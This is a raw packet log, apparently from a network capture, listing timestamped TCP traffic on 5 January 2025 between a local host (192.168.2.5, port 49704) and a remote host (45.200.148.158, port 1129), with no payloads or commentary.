Jan 5, 2025 17:49:11.962995052 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:11.963006973 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:11.963016987 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:11.963020086 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:11.963044882 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:11.969161987 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:11.969172955 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:11.969208002 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.005340099 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.005366087 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.005377054 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.005388021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.005397081 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.005405903 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.005415916 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.005425930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.005450964 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.008594990 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.008615971 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.008625984 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.008639097 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.008665085 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.021472931 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.021485090 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.021496058 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.021507978 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.021539927 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.021576881 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.022250891 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022283077 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022293091 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022325993 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.022342920 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022356033 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022367001 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022384882 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.022408962 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.022504091 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022516012 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022526979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.022542953 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.042464018 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.042480946 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.042491913 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.042526007 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.042553902 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.044379950 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.044392109 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.044403076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.044433117 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.044994116 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045015097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045025110 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045073032 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.045341969 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045386076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045401096 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045418024 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045425892 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.045433044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045444012 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045455933 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.045458078 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.045480967 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.086807966 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.086823940 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.086836100 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.086848021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.086859941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.086899042 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.089941978 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.089951992 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.090006113 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.090014935 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.090112925 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.090112925 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.103065014 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.103076935 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.103086948 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.103219986 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.103219986 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.104456902 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.104468107 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.104479074 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.104497910 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.104507923 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.104511976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.104523897 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.104532957 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.104537964 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.104547024 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.104562044 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.104583025 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.123704910 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.123717070 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.123728037 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.123902082 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.125554085 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.125566959 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.125579119 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.125685930 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.125685930 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.126245022 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126265049 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126275063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126307964 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.126355886 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126368046 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126378059 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126399994 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.126422882 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.126477003 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126487970 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126498938 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.126523018 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.169840097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.169852972 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.169863939 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.169878006 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.169945002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.169955015 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.169970989 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.169970989 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.169991016 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.171557903 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.171570063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.171580076 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.171602011 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.171629906 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.184880018 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.184891939 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.184901953 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.184940100 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.185866117 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.185889959 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.185899973 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.185923100 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.185935974 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.185992002 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.186018944 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.186115026 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.186125994 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.186141014 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.186166048 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.186191082 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.206593037 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.206624031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.206634045 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.206666946 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.206758976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.206769943 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.206780910 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.206790924 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.206804037 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.206815958 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.207581997 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207607031 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207616091 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.207617998 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207650900 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.207690954 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207707882 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207717896 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207745075 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.207794905 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207815886 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207828045 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.207837105 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.207865000 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.207950115 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.258836985 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.259922981 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.259953976 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.259965897 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.259991884 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.260019064 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.260030985 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.260042906 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.260054111 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.260060072 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.260077953 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.266357899 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.266371012 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.266381979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.266403913 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.266419888 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.267219067 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267230988 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267241001 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267262936 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.267729044 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267745972 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267769098 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.267821074 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267833948 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267846107 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267858028 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.267859936 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.267882109 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.287863970 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.287887096 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.287897110 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.287906885 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.287950993 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.287955046 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.287977934 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.287988901 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.287995100 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.288013935 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.288038015 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.289072037 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.289083958 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.289094925 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.289108038 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.289128065 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.289160967 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.289166927 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.289182901 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.289197922 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.289211988 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.289222956 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.289252996 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.289387941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.333319902 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.333332062 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.333343983 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.333386898 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.333390951 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.333404064 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.333420992 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.333424091 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.333445072 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.335098982 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.335110903 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.335127115 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.335145950 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.335165024 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.354633093 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.354795933 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.354806900 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.354835987 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.355644941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.355658054 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.355671883 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.355684042 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.355712891 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.355715990 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.355731010 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.355751991 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.355765104 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.355768919 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.355777979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.355801105 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.370848894 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.370872021 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.370882034 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.370903015 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.370913029 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.370934963 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.370950937 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.370963097 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.370986938 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.370986938 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.371027946 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.371145010 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.371157885 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.371192932 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.371233940 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.371279001 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.371289015 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.371319056 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.371347904 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.371360064 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.371370077 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.371395111 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.371409893 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.424449921 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424472094 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424484968 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424495935 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424526930 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424535990 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.424540043 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424555063 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424567938 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424576044 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.424583912 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424597979 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.424603939 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.424617052 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.424640894 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.436018944 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.436033964 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.436044931 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.436077118 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.437148094 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.437160969 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.437181950 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.437194109 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.437197924 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.437208891 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.437220097 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.437222958 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.437249899 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.437252998 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.437297106 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.452853918 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.452874899 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.452887058 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.452920914 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.453249931 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453263998 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453284979 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.453315973 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453326941 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453352928 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.453727007 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453773975 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.453794956 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453829050 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453840017 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453850985 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453864098 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453871965 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453877926 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.453883886 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453895092 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.453897953 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.453906059 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.453946114 CET	49704	1129	192.168.2.5	45.200.148.158
Jan 5, 2025 17:49:12.505850077 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.505868912 CET	1129	49704	45.200.148.158	192.168.2.5
Jan 5, 2025 17:49:12.505882025 CET	1129	49704	45.200.148.158	192.168.2.5
